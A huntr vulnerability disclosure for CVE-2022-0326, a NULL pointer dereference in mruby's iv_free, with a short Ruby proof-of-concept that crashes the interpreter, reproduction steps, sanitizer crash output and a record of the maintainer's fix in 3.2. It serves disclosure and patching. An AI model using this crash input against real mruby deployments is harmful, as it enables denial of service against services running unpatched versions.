huntr

NULL Pointer Dereference in mruby/mruby

1

✓ Valid Reported on Jan 17th 2022

Description

There is a NULL Pointer Dereference in `iv_free` (`src/variable.c:232:20`). This bug has been found on mruby lastest commit (hash `31fa3304049fc406a201a72293cce140f0557dca`) on Ubuntu 20.04 for x86_64/amd64.

Proof of Concept

```
6.times{3.times{%]#{{}until-break
b={}
[**0,m:0]
s=0}]}}
```

Steps to reproduce

1- Clone repo and build with ASAN using MRUBY_CONFIG=build_config/clang-asan.rb rake
2- Use mruby to execute the poc:

```
$ echo -ne "Ni50aW1lc3szLnRpbWVzeyVdI3t7fXVudGlsLWJyZWFrCmI9e30KWyoqMCxtOjE
$ build/host/bin/mruby ./poc
/home/faraday/mruby/src/variable.c:232:20: runtime error: member access wit
0x000000000001: note: pointer points here
<memory cannot be printed>
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/faraday/mruby
/home/faraday/mruby/src/variable.c:232:20: runtime error: load of misaligne
0x000000000009: note: pointer points here
<memory cannot be printed>
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home
AddressSanitizer:DEADLYSIGNAL
=================================================================
==10997==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000009 (p
==10997==The signal is caused by a READ memory access.
==10997==Hint: address points to the zero page.

    #0 0x802ae6 in iv_free /home/faraday/mruby/src/variable.c:232:20
    #1 0x802f59 in mrb_gc_free_iv /home/faraday/mruby/src/variable.c:278:5
    #2 0x6146ae in obj_free /home/faraday/mruby/src/gc.c:856:5
    #3 0x607e21 in free_heap /home/faraday/mruby/src/gc.c:433:9
    #4 0x60793c in mrb_gc_destroy /home/faraday/mruby/src/gc.c:442:3
    #5 0x665405 in mrb_close /home/faraday/mruby/src/state.c:195:3
    #6 0x4ca4ee in cleanup /home/faraday/mruby/mrbgems/mruby-bin-mruby/tool
    #7 0x4c662a in main /home/faraday/mruby/mrbgems/mruby-bin-mruby/tools/m
    #8 0x7f36f27bd0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/c
    #9 0x41c84d in _start (/home/faraday/mruby/build/host/bin/mruby+0x41c84

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/faraday/mruby/src/variable.c:232:20 i
==10997==ABORTING
```

Running the same script with a release build (without asan) results in a segfault due to the invalid dereference.

Acknowledgements

This bug was found by Octavio Gianatiempo (ogianatiempo@faradaysec.com) and Octavio Galland (ogalland@faradaysec.com) from Faraday Research Team.

CVE
CVE-2022-0326
(Published)

Vulnerability Type
CWE-476: NULL Pointer Dereference

Severity
Medium (5.5)

Visibility
Public

Status
Fixed

Found by

octaviogalland

@octaviogalland

unranked

Fixed by

Yukihiro "Matz" Matsumoto

@matz

maintainer

This report was seen 364 times.

We are processing your report and will contact the **mruby** team within 24 hours. 10 months ago

We have contacted a member of the **mruby** team and are waiting to hear back 10 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 10 months ago

octaviogalland has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in **3.2** with commit **b611c4** 10 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

Chat with us